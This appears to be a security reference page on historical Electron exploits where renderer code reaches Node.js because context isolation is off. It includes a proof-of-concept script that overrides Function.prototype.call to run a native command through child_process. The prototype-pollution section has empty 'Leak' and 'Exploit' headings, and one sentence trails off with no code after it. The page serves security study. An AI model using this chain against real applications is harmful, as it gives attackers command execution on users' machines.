Electron context-isolation RCE via internal code

These are historical exploitation patterns for Electron applications that ran untrusted renderer content without context isolation. Context isolation has been enabled by default since Electron 12 and remains a recommended security setting.^[1] Exact internals differ by Electron and Node.js version, so reproduce a chain against the target application’s bundled versions.

Example 1: overriding Function.prototype.call

This example comes from Masato Kinugawa’s CureCon presentation.^[2]

In the affected historical Electron build, internal ASAR code registered a process exit listener. Because page code and Electron’s internal code shared JavaScript prototypes when context isolation was disabled, renderer code could replace Function.prototype.call before the internal listener ran.^[2][3]

process.on("exit", function () {
  for (let p in cachedArchives) {
    if (!hasProp.call(cachedArchives, p)) continue
    cachedArchives[p].destroy()
  }
})

The listener was dispatched through Node.js’s event machinery. The original page linked a stale bin/events.js path; the same historical commit’s live source is under lib/events.js.^[5]

In this path, self is Node.js’s process object:

The historical process object exposed a path to require:

process.mainModule.require

Because the listener dispatcher invoked the handler with the process object, overriding call could recover that object and execute a native command:

<script>
  Function.prototype.call = function (process) {
    process.mainModule.require("child_process").execSync("calc")
  }
  location.reload() // Trigger the listener during navigation
</script>

Example 2: prototype pollution

The ElectroVolt presentation demonstrates another historical chain that obtains a require object through prototype pollution.^[4]

Leak:

Exploit:

References

• [1] Electron documentation - Context isolation
• [2] Electron: Abusing the lack of context isolation - CureCon
• [3] Electron historical source - lib/common/asar.js
• [4] ElectroVolt: Pwning Popular Desktop Apps While Uncovering New Attack Surface on Electron
• [5] Node.js historical source - lib/events.js listener dispatch